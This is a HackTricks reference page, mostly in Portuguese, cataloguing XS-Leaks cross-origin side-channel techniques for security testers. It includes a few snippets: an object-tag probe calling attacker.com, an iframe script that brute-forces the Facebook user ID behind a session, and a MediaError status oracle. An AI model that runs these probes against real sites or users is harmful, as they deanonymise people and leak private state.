XS-Search/XS-Leaks
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
XS-Search é um método usado para extrair informações cross-origin aproveitando vulnerabilidades de canal lateral.
Componentes-chave envolvidos neste ataque incluem:
- Vulnerable Web: O site alvo de onde se pretende extrair informação.
- Attacker’s Web: O site malicioso criado pelo atacante, visitado pela vítima, que hospeda o exploit.
- Inclusion Method: A técnica empregada para incorporar a Vulnerable Web na Attacker’s Web (ex.: window.open, iframe, fetch, tag HTML com href, etc.).
- Leak Technique: Técnicas usadas para discernir diferenças no estado da Vulnerable Web com base na informação obtida através do método de inclusão.
- States: As duas condições potenciais da Vulnerable Web, que o atacante tenta distinguir.
- Detectable Differences: Variações observáveis nas quais o atacante se baseia para inferir o estado da Vulnerable Web.
Diferenças Detectáveis
Vários aspetos podem ser analisados para diferenciar os estados da Vulnerable Web:
- Status Code: Distinguir entre vários códigos de status de resposta HTTP cross-origin, como erros de servidor, erros de cliente ou erros de autenticação.
- API Usage: Identificar uso de APIs Web através das páginas, revelando se uma página cross-origin emprega uma API JavaScript específica.
- Redirects: Detectar navegações para páginas diferentes, não apenas redirects HTTP, mas também aqueles acionados por JavaScript ou HTML.
- Page Content: Observar variações no corpo da resposta HTTP ou em sub-recursos da página, como número de frames embutidos ou diferenças de tamanho em imagens.
- HTTP Header: Notar a presença ou possivelmente o valor de um cabeçalho de resposta HTTP específico, incluindo cabeçalhos como X-Frame-Options, Content-Disposition e Cross-Origin-Resource-Policy.
- Timing: Perceber discrepâncias de tempo consistentes entre os dois estados.
Métodos de Inclusão
- HTML Elements: O HTML oferece vários elementos para inclusão cross-origin de recursos, como stylesheets, images ou scripts, forçando o browser a solicitar um recurso não-HTML. Uma compilação de elementos HTML potenciais para este propósito pode ser encontrada em https://github.com/cure53/HTTPLeaks.
- Frames: Elementos como iframe, object e embed podem incorporar recursos HTML diretamente na página do atacante. Se a página não tiver proteção contra framing, o JavaScript pode acessar o objeto window do recurso em frame via a propriedade contentWindow.
- Pop-ups: O método
window.openabre um recurso em uma nova aba ou janela, fornecendo um handle de window para o JavaScript interagir com métodos e propriedades seguindo o SOP. Pop-ups, frequentemente usados em single sign-on, contornam restrições de framing e cookies de um recurso alvo. Contudo, navegadores modernos restringem a criação de pop-ups a certas ações do usuário. - JavaScript Requests: JavaScript permite requisições diretas a recursos alvo usando XMLHttpRequests ou a Fetch API. Esses métodos oferecem controle preciso sobre a requisição, como optar por seguir redirects HTTP.
Técnicas de Leak
- Event Handler: Uma técnica clássica em XS-Leaks, onde handlers de evento como onload e onerror fornecem insights sobre sucesso ou falha no carregamento do recurso.
- Error Messages: Exceções JavaScript ou páginas de erro especiais podem fornecer informação de leak, seja diretamente pela mensagem de erro ou diferenciando sua presença/ausência.
- Global Limits: Limitações físicas do browser, como capacidade de memória ou outros limites impostos, podem sinalizar quando um limite é atingido, servindo como técnica de leak.
- Global State: Interações detectáveis com estados globais do browser (ex.: interface History) podem ser exploradas. Por exemplo, o número de entradas no histórico do browser pode dar pistas sobre páginas cross-origin.
- Performance API: Essa API fornece detalhes de performance da página atual, incluindo temporizações de rede para o documento e recursos carregados, permitindo inferências sobre recursos requisitados.
- Readable Attributes: Alguns atributos HTML são legíveis cross-origin e podem ser usados como técnica de leak. Por exemplo, a propriedade
window.frame.lengthpermite ao JavaScript contar frames incluídos numa página cross-origin.
Ferramenta XSinator & Artigo
XSinator é uma ferramenta automática para verificar navegadores contra vários XS-Leaks conhecidos explicados no seu paper: https://xsinator.com/paper.pdf
Você pode acessar a ferramenta em https://xsinator.com/
Warning
Excluded XS-Leaks: Tivemos que excluir XS-Leaks que dependem de service workers pois eles interfeririam com outros leaks no XSinator. Além disso, optamos por excluir XS-Leaks que dependem de misconfiguração e bugs numa aplicação web específica. Por exemplo, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage ou Cross-Site Scripting. Adicionalmente, excluímos XS-Leaks baseados em tempo pois muitas vezes são lentos, ruidosos e imprecisos.
Técnicas Baseadas em Tempo
Algumas das técnicas seguintes vão usar timing como parte do processo para detectar diferenças nos possíveis estados das páginas web. Existem diferentes formas de medir tempo num browser.
Clocks: A API performance.now() permite aos desenvolvedores obter medições de tempo de alta resolução.
Há um número considerável de APIs que atacantes podem abusar para criar relógios implícitos: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animations, e outros.
Para mais informações: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.
Técnicas de Manipulador de Eventos
Onload/Onerror
- Inclusion Methods: Frames, HTML Elements
- Detectable Difference: Status Code
- More info: https://www.usenix.org/conference/usenixsecurity19/presentation/staicu, https://xsleaks.dev/docs/attacks/error-events/
- Summary: se tentar carregar um recurso, os eventos onerror/onload são disparados quando o recurso é carregado com sucesso/sem sucesso — é possível deduzir o código de status.
- Code example: https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)
O exemplo de código tenta carregar scripts/objects via JS, mas outras tags como object, stylesheets, images, audios também podem ser usadas. Além disso, é possível injetar a tag diretamente e declarar os eventos onload e onerror dentro da tag (em vez de injetá-los via JS).
Há também uma versão sem script deste ataque:
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
Nesse caso, se example.com/404 não for encontrado attacker.com/?error será carregado.
Content-Type/CORB script load oracle
- Métodos de inclusão: HTML Elements (script)
- Diferença detectável: Header / Content-Type via onload vs onerror (CORB)
- Resumo: Se um endpoint retorna HTML em match vs JSON em mismatch, carregue-o com
<script src>. HTML disparaonload; JSON é CORB-blocked e disparaonerror, fornecendo um Boolean oracle para brute-force identificadores como__userdentro de um escopo conhecido. - Notas: Works cross-origin without reading bodies; útil para enumerar a conta ativa quando um tenant ID está fixo.
postMessage vs X-Frame-Options deny oracle
- Métodos de inclusão: Frames
- Diferença detectável: Header (XFO) + presença/ausência de postMessage
- Resumo: Alguns widgets usam postMessage para seu parent assim que carregados. Se a request for emoldurada com um identificador errado, o servidor pode responder com
X-Frame-Options: deny, prevenindo o render e, portanto, nenhuma mensagem é emitida. Definindo osrcdo iframe com o ID candidato, esperando por um eventomessage(sucesso) e tratando timeout/ausência de mensagem como falha, a conta ativa pode ser brute-forced. - Trecho mínimo:
<iframe id=fb width=0 height=0></iframe>
<script>
function test(id){
fb.src=`https://www.facebook.com/plugins/like.php?__a=1&__user=${id}`;
return new Promise(r=>{
const t=setTimeout(()=>r(false),2000);
onmessage=()=>{clearTimeout(t);r(true);}
});
}
</script>
- Relacionado: PostMessage Vulnerabilities
para mais armadilhas de message/iframe.
Onload Timing
- Métodos de Inclusão: HTML Elements
- Diferença Detectável: Timing (geralmente devido ao conteúdo da página, código de status)
- Mais info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
- Resumo: The performance.now() API pode ser usada para medir quanto tempo leva para realizar uma requisição. Entretanto, outros clocks podem ser usados, como PerformanceLongTaskTiming API que pode identificar tarefas com duração superior a 50ms.
- Exemplo de Código: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
another example in:
Onload Timing + Forced Heavy Task
This technique is just like the previous one, but the attacker will also force some action to take a relevant amount time when the answer is positive or negative and measure that time.
performance.now + Force heavy task
unload/beforeunload Timing
- Métodos de Inclusão: Frames
- Diferença Detectável: Timing (geralmente devido ao conteúdo da página, código de status)
- Mais info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
- Resumo: The SharedArrayBuffer clock pode ser usado para medir quanto tempo leva para realizar uma requisição. Outros clocks também podem ser usados.
- Exemplo de Código: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
O tempo necessário para buscar um recurso pode ser medido utilizando os eventos unload e beforeunload. O evento beforeunload é disparado quando o navegador está prestes a navegar para uma nova página, enquanto o evento unload ocorre quando a navegação está efetivamente acontecendo. A diferença de tempo entre esses dois eventos pode ser calculada para determinar a duração que o navegador gastou buscando o recurso.
Sandboxed Frame Timing + onload
- Métodos de Inclusão: Frames
- Diferença Detectável: Timing (geralmente devido ao conteúdo da página, código de status)
- Mais info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
- Resumo: The performance.now() API pode ser usada para medir quanto tempo leva para realizar uma requisição. Outros clocks também podem ser usados.
- Exemplo de Código: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
Foi observado que, na ausência de Framing Protections, o tempo necessário para uma página e seus subrecursos carregarem pela rede pode ser medido por um attacker. Essa medição é tipicamente possível porque o manipulador onload de um iframe é acionado apenas após a conclusão do carregamento de recursos e da execução de JavaScript. Para contornar a variabilidade introduzida pela execução de scripts, um attacker pode empregar o atributo sandbox dentro do <iframe>. A inclusão desse atributo restringe diversas funcionalidades, notadamente a execução de JavaScript, facilitando assim uma medição predominantemente influenciada pelo desempenho da rede.
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
#ID + error + onload
- Métodos de Inclusão: Frames
- Diferença Detectável: Page Content
- Mais info:
- Resumo: Se você consegue fazer a página gerar um erro quando o conteúdo correto é acessado e fazer com que ela carregue corretamente quando qualquer conteúdo é acessado, então você pode criar um loop para extrair toda a informação sem medir o tempo.
- Exemplo de Código:
Suponha que você possa inserir a page que contém o conteúdo secret dentro de um Iframe.
Você pode fazer a victim search pelo ficheiro que contém “flag” usando um Iframe (explorando um CSRF por exemplo). Dentro do Iframe você sabe que o onload event será executado sempre pelo menos uma vez. Então, você pode mudar a URL do iframe alterando apenas o conteúdo do hash dentro da URL.
Por exemplo:
- URL1: www.attacker.com/xssearch#try1
- URL2: www.attacker.com/xssearch#try2
Se a primeira URL foi carregada com sucesso, então, ao mudar a parte do hash da URL o onload não será disparado novamente. Mas se a página teve algum tipo de erro ao carregar, então, o onload será disparado novamente.
Dessa forma, você consegue distinguir entre uma página carregada corretamente ou uma página que apresentou erro ao ser acessada.
Javascript Execution
- Métodos de Inclusão: Frames
- Diferença Detectável: Page Content
- Mais info:
- Resumo: Se a page está retornando o conteúdo sensitive, ou um conteúdo que pode ser controlado pelo usuário. O usuário poderia colocar código JS válido no caso negativo, e carregar cada tentativa dentro de tags
<script>, assim, nos casos negativos o código do attacker é executado, e nos casos afirmativos nada será executado. - Exemplo de Código:
CORB - Onerror
- Métodos de Inclusão: HTML Elements
- Diferença Detectável: Status Code & Headers
- Mais info: https://xsleaks.dev/docs/attacks/browser-features/corb/
- Resumo: Cross-Origin Read Blocking (CORB) é uma medida de segurança que evita que páginas web carreguem certos recursos cross-origin sensíveis para se proteger contra ataques como Spectre. No entanto, attackers podem explorar seu comportamento protetor. Quando uma resposta sujeita a CORB retorna um
Content-Typeprotegido por CORB protected comnosniffe um código de status2xx, o CORB remove o body e os headers da resposta. Attackers que observam isso podem inferir a combinação do status code (indicando sucesso ou erro) e doContent-Type(indicando se está protegido pelo CORB), levando a possíveis vazamentos de informação. - Exemplo de Código:
Consulte o link de mais informações para detalhes sobre o ataque.
onblur
- Métodos de Inclusão: Frames
- Diferença Detectável: Page Content
- Mais info: https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/
- Resumo: Leak dados sensíveis do atributo id ou name.
- Exemplo de Código: https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet
É possível carregar uma page dentro de um iframe e usar o #id_value para fazer a página focus no elemento do iframe com o id indicado; então, se um onblur for disparado, o elemento ID existe.
Você pode realizar o mesmo ataque com tags portal.
postMessage Broadcasts
- Métodos de Inclusão: Frames, Pop-ups
- Diferença Detectável: API Usage
- Mais info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
- Resumo: Coletar informação sensível de um postMessage ou usar a presença de postMessages como um oráculo para conhecer o estado do user na página
- Exemplo de Código:
Any code listening for all postMessages.
Applications frequentemente utilizam postMessage broadcasts para comunicar entre diferentes origins. Contudo, este método pode inadvertidamente expor sensitive information se o parâmetro targetOrigin não for especificado corretamente, permitindo que qualquer window receba as mensagens. Além disso, o simples ato de receber uma mensagem pode atuar como um oracle; por exemplo, certas mensagens podem ser enviadas apenas para users que estão autenticados. Portanto, a presença ou ausência dessas mensagens pode revelar o estado ou identidade do user, como se ele está autenticado ou não.
Global Limits Techniques
WebSocket API
- Métodos de Inclusão: Frames, Pop-ups
- Diferença Detectável: API Usage
- Mais info: https://xsinator.com/paper.pdf (5.1)
- Resumo: Exaurir o limite de conexões WebSocket vaza o número de WebSocket connections de uma page cross-origin.
- Exemplo de Código: https://xsinator.com/testing.html#WebSocket%20Leak%20(FF), https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)
É possível identificar se, e quantas, WebSocket connections uma target page usa. Isso permite a um attacker detectar estados da aplicação e vazar informação ligada ao número de WebSocket connections.
Se uma origin usa o número máximo de objetos WebSocket, independentemente do estado das conexões, a criação de novos objetos resultará em exceções JavaScript. Para executar este ataque, o attacker abre a página alvo em um pop-up ou iframe e então, após o target web ter sido carregado, tenta criar o número máximo de conexões WebSocket possíveis. O número de exceções lançadas é o número de WebSocket connections usadas pela janela do target website.
Payment API
- Métodos de Inclusão: Frames, Pop-ups
- Diferença Detectável: API Usage
- Mais info: https://xsinator.com/paper.pdf (5.1)
- Resumo: Detectar Payment Request porque apenas um pode estar ativo por vez.
- Exemplo de Código: https://xsinator.com/testing.html#Payment%20API%20Leak
Este XS-Leak permite a um attacker detectar quando uma page cross-origin inicia um payment request.
Como apenas um payment request pode estar ativo ao mesmo tempo, se o target website estiver usando a Payment Request API, quaisquer tentativas posteriores de mostrar ou usar essa API falharão, e causarão uma exceção JavaScript. O attacker pode explorar isso tentando periodicamente exibir o UI da Payment API. Se uma tentativa causar uma exceção, o target website está atualmente usando-a. O attacker pode ocultar essas tentativas periódicas fechando imediatamente o UI após a criação.
Timing the Event Loop
- Métodos de Inclusão:
- Diferença Detectável: Timing (geralmente devido a Page Content, Status Code)
- Mais info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
- Resumo: Medir o tempo de execução de um web abusando do event loop JS single-threaded.
- Exemplo de Código:
Event Loop Blocking + Lazy images
JavaScript opera em um modelo de concorrência de single-threaded event loop, significando que só pode executar uma tarefa por vez. Essa característica pode ser explorada para medir quanto tempo o código de uma origem diferente leva para executar. Um attacker pode medir o tempo de execução do seu próprio código no event loop despachando continuamente eventos com propriedades fixas. Esses eventos serão processados quando o pool de eventos estiver vazio. Se outras origins também estiverem despachando eventos para o mesmo pool, um attacker pode inferir o tempo que esses eventos externos levam para executar observando atrasos na execução das suas próprias tarefas. Esse método de monitorar o event loop por atrasos pode revelar o tempo de execução de código de diferentes origins, potencialmente expondo informação sensível.
Warning
Em um timing de execução é possível eliminar fatores de rede para obter medições mais precisas. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
Busy Event Loop
- Métodos de Inclusão:
- Diferença Detectável: Timing (geralmente devido a Page Content, Status Code)
- Mais info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
- Resumo: Um método para medir o tempo de execução de uma operação web envolve intencionalmente bloquear o event loop de uma thread e então medir quanto tempo leva até o event loop ficar disponível novamente. Inserindo uma operação bloqueante (como um cálculo longo ou uma chamada síncrona de API) no event loop, e monitorando o tempo que leva para o código subsequente começar a execução, pode-se inferir a duração das tarefas que estavam executando no event loop durante o período de bloqueio. Essa técnica explora a natureza single-threaded do event loop do JavaScript, onde tarefas são executadas sequencialmente, e pode fornecer insights sobre o desempenho ou comportamento de outras operações que compartilham a mesma thread.
- Exemplo de Código:
Uma vantagem significativa da técnica de medir o tempo de execução bloqueando o event loop é seu potencial para contornar o Site Isolation. Site Isolation é uma feature de segurança que separa diferentes websites em processos distintos, visando impedir que sites maliciosos acessem diretamente dados sensíveis de outros sites. Contudo, influenciando o timing de execução de outra origin através do event loop compartilhado, um attacker pode extrair indiretamente informação sobre as atividades dessa origin. Esse método não depende de acesso direto aos dados da outra origin, mas sim observa o impacto das atividades dessa origin no event loop compartilhado, assim contornando as barreiras protetivas estabelecidas pelo Site Isolation.
Warning
Em um timing de execução é possível eliminar fatores de rede para obter medições mais precisas. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
Connection Pool
- Métodos de Inclusão: JavaScript Requests
- Diferença Detectável: Timing (geralmente devido a Page Content, Status Code)
- Mais info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
- Resumo: Um attacker poderia ocupar todos os sockets exceto 1, carregar o target web e ao mesmo tempo carregar outra página; o tempo até a última página começar a carregar é o tempo que a página alvo levou para carregar.
- Exemplo de Código:
Browsers utilizam sockets para comunicação com servidores, mas devido aos recursos limitados do sistema operacional e hardware, browsers são forçados a impor um limite no número de sockets concorrentes. Attackers podem explorar essa limitação pelos seguintes passos:
- Determinar o limite de sockets do browser, por exemplo, 256 sockets globais.
- Ocupare 255 sockets por um período prolongado iniciando 255 requests para hosts diversos, projetados para manter as conexões abertas sem completar.
- Usar o 256º socket para enviar um request à página alvo.
- Tentar um 257º request para outro host. Dado que todos os sockets estão em uso (como nos passos 2 e 3), esse request ficará enfileirado até que um socket fique disponível. O atraso antes desse request prosseguir fornece ao attacker informação de timing sobre a atividade de rede relacionada ao 256º socket (o socket da página alvo). Essa inferência é possível porque os 255 sockets do passo 2 ainda estão ocupados, implicando que qualquer socket recém-disponível deve ser o liberado pelo passo 3. O tempo levado para o 256º socket ficar disponível está, portanto, diretamente ligado ao tempo necessário para o request à página alvo completar.
Para mais info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
Connection Pool by Destination
- Métodos de Inclusão: JavaScript Requests
- Diferença Detectável: Timing (geralmente devido a Page Content, Status Code)
- Mais info:
- Resumo: É semelhante à técnica anterior, mas em vez de usar todos os sockets, o Google Chrome impõe um limite de 6 requests concorrentes para a mesma origin. Se bloquearmos 5 e então lançarmos o 6º request podemos medir seu tempo e se conseguirmos fazer a victim page enviar mais requests para o mesmo endpoint para detectar um status da page, o 6º request levará mais tempo e conseguiremos detectá-lo.
Performance API Techniques
A Performance API oferece insights sobre métricas de performance de aplicações web, enriquecida pelo Resource Timing API. O Resource Timing API permite o monitoramento de timings detalhados de requests de rede, como a duração das requisições. Notavelmente, quando servidores incluem o header Timing-Allow-Origin: * em suas respostas, dados adicionais como transfer size e domain lookup time ficam disponíveis.
Esses dados podem ser recuperados via métodos como performance.getEntries ou performance.getEntriesByName, fornecendo uma visão abrangente de informações relacionadas à performance. Adicionalmente, a API facilita a medição de tempos de execução calculando a diferença entre timestamps obtidos de performance.now(). Porém, vale notar que para certas operações em browsers como o Chrome, a precisão de performance.now() pode ser limitada a milissegundos, o que pode afetar a granularidade das medições de timing.
Além das medições de tempo, a Performance API pode ser aproveitada para insights relacionados à segurança. Por exemplo, a presença ou ausência de páginas no objeto performance no Chrome pode indicar a aplicação de X-Frame-Options. Especificamente, se uma página é bloqueada de ser renderizada em um frame devido a X-Frame-Options, ela não aparecerá no objeto performance, fornecendo uma pista sutil sobre as políticas de framing da página.
Error Leak
- Métodos de Inclusão: Frames, HTML Elements
- Diferença Detectável: Status Code
- Mais info: https://xsinator.com/paper.pdf (5.2)
- Resumo: Uma request que resulta em erro não criará uma entrada de resource timing.
- Exemplo de Código: https://xsinator.com/testing.html#Performance%20API%20Error%20Leak
É possível diferenciar entre HTTP response status codes porque requests que levam a um erro não criam uma entrada de performance.
Style Reload Error
- Métodos de Inclusão: HTML Elements
- Diferença Detectável: Status Code
- Mais info: https://xsinator.com/paper.pdf (5.2)
- Resumo: Devido a um bug do browser, requests que resultam em erro são carregados duas vezes.
- Exemplo de Código: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak
No exemplo anterior também foram identificados dois casos onde bugs no GC levam a recursos sendo carregados duas vezes quando falham ao carregar. Isso resultará em múltiplas entradas na Performance API e pode, portanto, ser detectado.
Request Merging Error
- Métodos de Inclusão: HTML Elements
- Diferença Detectável: Status Code
- Mais info: https://xsinator.com/paper.pdf (5.2)
- Resumo: Requests que resultam em erro não podem ser mescladas.
- Exemplo de Código: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
A técnica foi encontrada em uma tabela no paper mencionado, mas não há descrição detalhada nela. Contudo, você pode encontrar o código-fonte verificando https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
Empty Page Leak
- Métodos de Inclusão: Frames
- Diferença Detectável: Page Content
- Mais info: https://xsinator.com/paper.pdf (5.2)
- Resumo: Respostas vazias não criam entradas de resource timing.
- Exemplo de Código: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak
Um attacker pode detectar se uma request resultou em um corpo de resposta HTTP vazio porque páginas empty não criam uma entrada de performance em alguns browsers.
XSS-Auditor Leak
- Métodos de Inclusão: Frames
- Diferença Detectável: Page Content
- Mais info: https://xsinator.com/paper.pdf (5.2)
- Resumo: Usando o XSS Auditor em Security Assertions, attackers podem detectar elementos específicos de uma webpage observando alterações nas respostas quando payloads crafted acionam o mecanismo de filtragem do auditor.
- Exemplo de Código: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak
Em Security Assertions (SA), o XSS Auditor, originalmente destinado a prevenir Cross-Site Scripting (XSS), pode paradoxalmente ser explorado para vazar informação sensível. Embora essa feature tenha sido removida do Google Chrome (GC), ela ainda está presente em SA. Em 2013, Braun e Heiderich demonstraram que o XSS Auditor poderia bloquear scripts legítimos, levando a falsos positivos. Com base nisso, pesquisadores desenvolveram técnicas para extrair informação e detectar conteúdo específico em páginas cross-origin, um conceito conhecido como XS-Leaks, inicialmente relatado por Terada e expandido por Heyes em um blog post. Embora essas técnicas fossem específicas ao XSS Auditor no GC, descobriu-se que em SA, páginas bloqueadas pelo XSS Auditor não geram entradas na Performance API, revelando um método pelo qual informação sensível ainda pode ser vazada.
X-Frame Leak
- Métodos de Inclusão: Frames
- Diferença Detectável: Header
- Mais info: https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options
- Resumo: Recursos com o header X-Frame-Options não criam entrada de resource timing.
- Exemplo de Código: https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak
Se uma página não é permitida ser renderizada em um iframe ela não cria uma entrada de performance. Como resultado, um attacker pode detectar o header de resposta X-Frame-Options.
O mesmo acontece se você usar uma tag embed.
Download Detection
- Métodos de Inclusão: Frames
- Diferença Detectável: Header
- Mais info: https://xsinator.com/paper.pdf (5.2)
- Resumo: Downloads não criam entradas de resource timing na Performance API.
- Exemplo de Código: https://xsinator.com/testing.html#Performance%20API%20Download%20Detection
De forma similar ao XS-Leak descrito, um resource que é baixado por causa do header ContentDisposition também não cria uma entrada de performance. Essa técnica funciona em todos os browsers principais.
Redirect Start Leak
- Métodos de Inclusão: Frames
- Diferença Detectável: Redirect
- Mais info: https://xsinator.com/paper.pdf (5.2)
- Resumo: A entrada de resource timing vaza o tempo de início de um redirect.
- Exemplo de Código: https://xsinator.com/testing.html#Redirect%20Start%20Leak
Encontramos uma instância de XS-Leak que abusa do comportamento de alguns browsers que logam informação demais para requests cross-origin. O padrão define um subconjunto de atributos que devem ser zerados para recursos cross-origin. Contudo, em SA é possível detectar se o user foi redirected pela página alvo consultando a Performance API e verificando o redirectStart timing data.
Duration Redirect Leak
- Métodos de Inclusão: Fetch API
- Diferença Detectável: Redirect
- Mais info: https://xsinator.com/paper.pdf (5.2)
- Resumo: A duração de entradas de timing é negativa quando ocorre um redirect.
- Exemplo de Código: https://xsinator.com/testing.html#Duration%20Redirect%20Leak
No GC, a duration para requests que resultam em redirect é negativa e pode, portanto, ser diferenciada de requests que não resultam em redirect.
CORP Leak
- Métodos de Inclusão: Frames
- Diferença Detectável: Header
- Mais info: https://xsinator.com/paper.pdf (5.2)
- Resumo: Recursos protegidos com CORP não criam entradas de resource timing.
- Exemplo de Código: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak
Em alguns casos, a entrada nextHopProtocol pode ser usada como técnica de leak. No GC, quando o header CORP está definido, o nextHopProtocol ficará vazio. Note que SA não criará uma entrada de performance para recursos habilitados com CORP.
Service Worker
- Métodos de Inclusão: Frames
- Diferença Detectável: API Usage
- Mais info: https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/
- Resumo: Detectar se um service worker está registrado para uma origin específica.
- Exemplo de Código:
Service workers são contextos de script event-driven que rodam em uma origin. Eles rodam em background de uma página web e podem interceptar, modificar e cache resources para criar aplicações web offline.
Se um resource cached por um service worker for acessado via iframe, o recurso será carregado a partir do cache do service worker.
Para detectar se o recurso foi carregado do service worker o Performance API pode ser usado.
Isso também pode ser feito com um ataque de Timing (veja o paper para mais info).
Cache
- Métodos de Inclusão: Fetch API
- Diferença Detectável: Timing
- Mais info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
- Resumo: É possível verificar se um resource foi armazenado no cache.
- Exemplo de Código: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)
Usando a Performance API é possível verificar se um resource está em cache.
Network Duration
- Métodos de Inclusão: Fetch API
- Diferença Detectável: Page Content
- Mais info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
- Resumo: É possível recuperar a network duration de um request a partir da API
performance. - Exemplo de Código: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
Error Messages Technique
Media Error
- Métodos de Inclusão: HTML Elements (Video, Audio)
- Diferença Detectável: Status Code
- Mais info: https://bugs.chromium.org/p/chromium/issues/detail?id=828265
- Resumo: No Firefox é possível vazar com precisão o status code de uma request cross-origin.
- Exemplo de Código: https://jsbin.com/nejatopusi/1/edit?html,css,js,output
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}
function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}
A interface MediaError e sua propriedade message identificam unicamente recursos que carregam com sucesso por meio de uma string distinta. Um atacante pode explorar essa característica observando o conteúdo da mensagem e, assim, deduzir o status da resposta de um recurso cross-origin.
CORS Error
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.3)
- Summary: In Security Assertions (SA), CORS error messages inadvertently expose the full URL of redirected requests.
- Code Example: https://xsinator.com/testing.html#CORS%20Error%20Leak
Esta técnica permite que um atacante extraia o destino de um redirect de um site cross-origin explorando como navegadores baseados em WebKit lidam com requisições CORS. Especificamente, quando uma requisição CORS-enabled é enviada a um site alvo que faz um redirect com base no estado do usuário e o navegador acaba negando a requisição, a URL completa do destino do redirect é divulgada dentro da mensagem de erro. Essa vulnerabilidade não apenas revela a ocorrência do redirect, como também expõe o endpoint do redirect e quaisquer sensitive query parameters que ele possa conter.
SRI Error
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.3)
- Summary: In Security Assertions (SA), CORS error messages inadvertently expose the full URL of redirected requests.
- Code Example: https://xsinator.com/testing.html#SRI%20Error%20Leak
Um atacante pode explorar mensagens de erro verbose para deduzir o tamanho de respostas cross-origin. Isso é possível devido ao mecanismo do Subresource Integrity (SRI), que usa o atributo integrity para validar que recursos buscados, muitas vezes de CDNs, não foram adulterados. Para que o SRI funcione em recursos cross-origin, estes devem ser CORS-enabled; caso contrário, não entram em checagens de integridade. Em Security Assertions (SA), de forma similar ao CORS error XS-Leak, uma mensagem de erro pode ser capturada após uma fetch com atributo integrity falhar. Atacantes podem deliberadamente induzir esse erro atribuindo um hash falso ao atributo integrity de qualquer requisição. Em SA, a mensagem de erro resultante revela inadvertidamente o comprimento do conteúdo do recurso solicitado. Esse vazamento de informação permite que um atacante perceba variações no tamanho da resposta, possibilitando ataques XS-Leak mais sofisticados.
CSP Violation/Detection
- Inclusion Methods: Pop-ups
- Detectable Difference: Status Code
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=313737, https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html, https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
- Summary: Allowing only the victims website in the CSP if we accessed it tries to redirect to a different domain the CSP will trigger a detectable error.
- Code Example: https://xsinator.com/testing.html#CSP%20Violation%20Leak, https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation
